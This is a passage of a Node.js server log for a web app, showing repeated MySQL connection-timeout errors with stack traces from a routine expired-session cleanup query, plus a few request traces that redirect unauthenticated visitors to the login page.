    'HTTP_X_FORWARDED-FOR': '34.46.87.149',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-12 18:13:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-12 18:13:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-12 18:21:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-12 18:21:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-12 20:22:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-12 20:22:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-12 20:51:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-12 20:51:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-12 23:13:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-12 23:13:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-13 00:34:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-13 00:34:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-13 00:39:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-13 00:39:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-13 01:09:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-13 01:09:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-13 02:18:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-13 02:18:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-13 05:56:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-13 05:56:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-13 08:13:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-13 08:13:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-13 08:22:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-13 08:22:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-13 08:24:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-13 08:24:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-13 11:19:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-13 11:19:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-13 13:29:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-13 13:29:48' as DATETIME)"
}
2026-02-13T14:35:40.287Z server-connect:router Serving templateView /
2026-02-13T14:35:40.288Z server-connect:app Executing action step identify
2026-02-13T14:35:40.288Z server-connect:app options: { provider: 'security' }
2026-02-13T14:35:40.289Z server-connect:auth No login cookie found
2026-02-13T14:35:40.289Z server-connect:output identity: false
2026-02-13T14:35:40.289Z server-connect:app Executing action step restrict
2026-02-13T14:35:40.289Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-13T14:35:40.289Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-13 14:59:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-13 14:59:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-13 15:15:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-13 15:15:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-13 17:52:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-13 17:52:48' as DATETIME)"
}
2026-02-13T18:38:12.138Z server-connect:router Serving templateView /
2026-02-13T18:38:12.139Z server-connect:app Executing action step identify
2026-02-13T18:38:12.140Z server-connect:app options: { provider: 'security' }
2026-02-13T18:38:12.140Z server-connect:auth No login cookie found
2026-02-13T18:38:12.140Z server-connect:output identity: false
2026-02-13T18:38:12.140Z server-connect:app Executing action step restrict
2026-02-13T18:38:12.140Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-13T18:38:12.141Z server-connect:output restrict: undefined
2026-02-13T18:38:12.647Z server-connect:router Serving templateView /
2026-02-13T18:38:12.647Z server-connect:app Executing action step identify
2026-02-13T18:38:12.647Z server-connect:app options: { provider: 'security' }
2026-02-13T18:38:12.648Z server-connect:auth No login cookie found
2026-02-13T18:38:12.648Z server-connect:output identity: false
2026-02-13T18:38:12.648Z server-connect:app Executing action step restrict
2026-02-13T18:38:12.648Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-13T18:38:12.648Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-13 19:14:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
